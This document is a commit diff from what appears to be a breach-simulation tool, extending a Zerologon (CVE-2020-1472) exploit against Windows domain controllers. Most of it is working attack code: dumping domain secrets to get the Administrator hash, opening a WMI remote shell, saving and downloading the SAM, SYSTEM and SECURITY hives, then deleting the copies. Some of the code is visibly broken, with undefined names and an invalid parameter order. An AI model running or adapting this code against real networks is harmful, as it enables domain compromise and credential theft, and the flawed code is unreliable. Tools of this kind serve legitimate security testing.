Restore password

(wmiexec to get HKLM keys --> secretsdump to get orig pwd nthash --> restore)
This commit is contained in:
Shreya 2021-01-26 13:46:01 +05:30
parent e7485bd02f
commit 53ef6feadf
1 changed files with 259 additions and 30 deletions

View File

@ -6,18 +6,23 @@ Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://g
from __future__ import division, print_function
import argparse
import cmd
import codecs
import io
import logging
import ntpath
import os
import re
import sys
import time
from binascii import hexlify, unhexlify
import impacket
from Cryptodome.Cipher import AES, ARC4, DES
from impacket import crypto, version
from impacket.dcerpc.v5 import epm, nrpc, transport
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.examples import logger
@ -25,7 +30,8 @@ from impacket.examples.secretsdump import (LocalOperations, LSASecrets,
NTDSHashes, RemoteOperations,
SAMHashes)
from impacket.krb5.keytab import Keytab
from impacket.smbconnection import SMBConnection
from impacket.smbconnection import (SMB2_DIALECT_002, SMB2_DIALECT_21,
SMB_DIALECT, SMBConnection)
from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.network.zerologon_fingerprint import ZerologonFinger
@ -33,6 +39,24 @@ from infection_monkey.network.zerologon_fingerprint import ZerologonFinger
LOG = logging.getLogger(__name__)
_orig_stdout = None
_new_stdout = None
def _set_stdout_to_in_memory():
# set stdout to in-memory text stream, to capture info that would otherwise be printed
_orig_stdout = sys.stdout
_new_stdout = io.StringIO()
sys.stdout = _new_stdout
def _unset_stdout_and_return_captured():
# set stdout to original and return captured output
sys.stdout = _orig_stdout
_new_stdout.seek(0)
return _new_stdout.read()
class ZerologonExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows']
_EXPLOITED_SERVICE = 'Netlogon'
@ -58,8 +82,9 @@ class ZerologonExploiter(HostExploiter):
'resumefile': None,
'sam': None,
'security': None,
'system': None,
# target and target_ip are assigned in get_original_pwd_nthash()
'system': None, # sam, security, and system are assigned in a copy in get_original_pwd_nthash()
'target': '',
'target_ip': '', # target and target_ip are assigned in a copy in get_admin_pwd_hashes()
'ts': False,
'use_vss': False,
'user_status': False
@ -145,11 +170,13 @@ class ZerologonExploiter(HostExploiter):
LOG.info("Restoring original password...")
LOG.info("DCSync; getting original password hashes.")
original_pwd_nthash = self.get_original_pwd_nthash(DC_NAME, DC_IP)
admin_pwd_hashes = self.get_admin_pwd_hashes(DC_NAME, DC_IP)
try:
if not original_pwd_nthash:
raise Exception("Couldn't extract nthash of original password.")
if not admin_pwd_hashes:
raise Exception("Couldn't extract admin password's hashes.")
original_pwd_nthash = self.get_original_pwd_nthash(DC_IP, admin_pwd_hashes)
for _ in range(0, self.MAX_ATTEMPTS):
rpc_con = self.attempt_restoration(DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash)
@ -164,29 +191,75 @@ class ZerologonExploiter(HostExploiter):
except Exception as e:
LOG.error(e)
def get_original_pwd_nthash(self, DC_NAME, DC_IP):
dumped_secrets = self.get_dumped_secrets(DC_NAME, DC_IP)
for secret in dumped_secrets:
if DC_NAME in secret:
nthash = secret.split(':')[3] # format of secret hashes - "domain\uid:rid:lmhash:nthash:::"
return nthash
def get_dumped_secrets(self, DC_NAME, DC_IP):
self.OPTIONS_FOR_SECRETSDUMP['target'] = '$@'.join([DC_NAME, DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0"
self.OPTIONS_FOR_SECRETSDUMP['target_ip'] = DC_IP
def get_admin_pwd_hashes(self, DC_NAME, DC_IP) -> str:
options = self.OPTIONS_FOR_SECRETSDUMP.copy()
options['target'] = '$@'.join([DC_NAME, DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0"
options['target_ip'] = DC_IP
domain, username, password, remote_name = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
self.OPTIONS_FOR_SECRETSDUMP['target']).groups('')
options['target']).groups('')
# In case the password contains '@'
if '@' in remote_name:
password = password + '@' + remote_name.rpartition('@')[0]
remote_name = remote_name.rpartition('@')[2]
dumper = DumpSecrets(remote_name, username, password, domain, self.OPTIONS_FOR_SECRETSDUMP)
dumped_secrets = self.get_dumped_secrets(remote_name=remote_name,
username=username,
password=password,
domain=domain,
options=options)
for secret in dumped_secrets:
if 'Administrator' in secret:
hashes = secret.split(':')[2:4] # format of secret hashes - "domain\uid:rid:lmhash:nthash:::"
return ':'.join(hashes) # format - "lmhash:nthash"
def get_original_pwd_nthash(self, DC_IP, admin_pwd_hashes):
self.save_HKLM_keys_locally(DC_IP, admin_pwd_hashes)
options = self.OPTIONS_FOR_SECRETSDUMP.copy()
for name in ['system', 'sam', 'security']:
options[name] = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save')
dumped_secrets = self.get_dumped_secrets(remote_name='LOCAL',
options=options)
for secret in dumped_secrets:
if '$MACHINE.ACC: ' in secret: # format - "$MACHINE.ACC: lmhash:nthash"
nthash = secret.split(':')[-1]
return nthash
def get_dumped_secrets(self, remote_name='', username='', password='', domain='', options):
dumper = DumpSecrets(remote_name, username, password, domain, options)
dumped_secrets = dumper.dump().split('\n')
return dumped_secrets
def save_HKLM_keys_locally(self, DC_IP, admin_pwd_hashes):
remote_shell = WmiexecRemoteShell(host=self.host,
username='Administrator',
domain=DC_IP,
hashes=':'.join(admin_pwd_hashes))
if remote_shell:
_set_stdout_to_in_memory()
# save HKLM keys on host
shell.onecmd('reg save HKLM\SYSTEM system.save && ' +
'reg save HKLM\SAM sam.save && ' +
'reg save HKLM\SECURITY security.save')
# get HKLM keys locally (can't run these together because it needs to call do_get())
shell.onecmd('get system.save')
shell.onecmd('get sam.save')
shell.onecmd('get security.save')
# delete saved keys from host
shell.onecmd('del /f system.save sam.save security.save')
info = _unset_stdout_and_return_captured()
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
else:
raise Exception("Could not start remote shell on DC.")
def attempt_restoration(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash):
# Connect to the DC's Netlogon service.
rpc_con = self.connect_to_dc(DC_IP)
@ -268,7 +341,7 @@ class NetrServerPasswordSetResponse(nrpc.NDRCALL):
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py
# Used to get original password hash
# Used to get Administrator and original DC passwords' hashes
class DumpSecrets:
def __init__(self, remote_name, username='', password='', domain='', options=None):
self.__use_VSS_method = options['use_vss']
@ -310,16 +383,10 @@ class DumpSecrets:
def connect(self):
self.__smb_connection = SMBConnection(self.__remote_name, self.__remote_host)
if self.__do_kerberos:
self.__smb_connection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aes_key, self.__kdc_host)
else:
self.__smb_connection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
def dump(self):
orig_stdout = sys.stdout
new_stdout = io.StringIO()
sys.stdout = new_stdout # setting stdout to an in-memory text stream, to capture hashes that would else be printed
_set_stdout_in_memory()
dumped_secrets = ''
try:
@ -454,9 +521,7 @@ class DumpSecrets:
except:
pass
finally:
sys.stdout = orig_stdout
new_stdout.seek(0)
dumped_secrets = new_stdout.read() # includes hashes and kerberos keys
dumped_secrets = _unset_stdout_and_return_captured() # includes hashes and kerberos keys
return dumped_secrets
def cleanup(self):
@ -475,3 +540,167 @@ class DumpSecrets:
# mention in report explicitly - machine exploited/not (return True, if yes) & password restored/not
# mention patching details in report
# add exploit info to documentation
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
# Used to get HKLM keys for restoring original DC password
class WmiexecRemoteShell:
OUTPUT_FILENAME = '__' + str(time.time())
CODEC = sys.stdout.encoding
def __init__(self, host, username, password='', domain='', hashes, share=None, noOutput=False):
self.host = host
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash, self.__nthash = hashes.split(':')
self.__share = share
self.__noOutput = noOutput
self.shell = None
def run(self):
if self.__noOutput is False:
smbConnection = SMBConnection(self.host.ip_addr, self.host.ip_addr)
smbConnection.login(user=self.__username,
password=self.__password,
domain=self.__domain,
lmhash=self.__lmhash,
nthash=self.__nthash)
dcom = DCOMConnection(target=self.host.ip_addr,
username=self.__username,
password=self.__password,
domain=self.__domain,
lmhash=self.__lmhash,
nthash=self.__nthash,
oxidResolver=True)
try:
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
iWbemLevel1Login.RemRelease()
win32Process, _ = iWbemServices.GetObject('Win32_Process')
self.shell = RemoteShell(self.__share, win32Process, smbConnection)
# return self.shell?
except (Exception, KeyboardInterrupt) as e:
LOG.error(str(e))
smbConnection.logoff()
dcom.disconnect()
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
# Used to start remote shell on victim
class RemoteShell(cmd.Cmd):
def __init__(self, share, win32Process, smbConnection):
cmd.Cmd.__init__(self)
self.__share = share
self.__output = '\\' + self.OUTPUT_FILENAME
self.__outputBuffer = str('')
self.__shell = 'cmd.exe /Q /c '
self.__win32Process = win32Process
self.__transferClient = smbConnection
self.__pwd = str('C:\\')
self.__noOutput = True
# We don't wanna deal with timeouts from now on.
if self.__transferClient is not None:
self.__transferClient.setTimeout(100000)
self.do_cd('\\')
else:
self.__noOutput = True
def do_get(self, src_path):
try:
import ntpath
newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path))
drive, tail = ntpath.splitdrive(newPath)
filename = ntpath.basename(tail)
local_file_path = os.path.join(os.path.expanduser('~'), 'monkey-'+filename)
fh = open(local_file_path, 'wb')
LOG.info("Downloading %s\\%s" % (drive, tail))
self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write)
fh.close()
except Exception as e:
LOG.error(str(e))
if os.path.exists(local_file_path):
os.remove(local_file_path)
def do_exit(self, s):
return True
def do_cd(self, s):
self.execute_remote('cd ' + s)
if len(self.__outputBuffer.strip('\r\n')) > 0:
print(self.__outputBuffer)
self.__outputBuffer = ''
else:
self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s))
self.execute_remote('cd ')
self.__pwd = self.__outputBuffer.strip('\r\n')
self.prompt = (self.__pwd + '>')
self.__outputBuffer = ''
def default(self, line):
# Let's try to guess if the user is trying to change drive
if len(line) == 2 and line[1] == ':':
# Execute the command and see if the drive is valid
self.execute_remote(line)
if len(self.__outputBuffer.strip('\r\n')) > 0:
# Something went wrong
print(self.__outputBuffer)
self.__outputBuffer = ''
else:
# Drive valid, now we should get the current path
self.__pwd = line
self.execute_remote('cd ')
self.__pwd = self.__outputBuffer.strip('\r\n')
self.prompt = (self.__pwd + '>')
self.__outputBuffer = ''
else:
if line != '':
self.send_data(line)
def get_output(self):
def output_callback(data):
try:
self.__outputBuffer += data.decode(self.CODEC)
except UnicodeDecodeError:
LOG.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with '
'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute wmiexec.py '
'again with -codec and the corresponding codec')
self.__outputBuffer += data.decode(self.CODEC, errors='replace')
if self.__noOutput is True:
self.__outputBuffer = ''
return
while True:
try:
self.__transferClient.getFile(self.__share, self.__output, output_callback)
break
except Exception as e:
if str(e).find('STATUS_SHARING_VIOLATION') >= 0:
# Output not finished, let's wait
time.sleep(1)
pass
elif str(e).find('Broken') >= 0:
# The SMB Connection might have timed out, let's try reconnecting
LOG.debug('Connection broken, trying to recreate it')
self.__transferClient.reconnect()
return self.get_output()
self.__transferClient.deleteFile(self.__share, self.__output)
def execute_remote(self, data):
command = self.__shell + data
if self.__noOutput is False:
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'
self.__win32Process.Create(command, self.__pwd, None)
self.get_output()
def send_data(self, data):
self.execute_remote(data)
print(self.__outputBuffer)
self.__outputBuffer = ''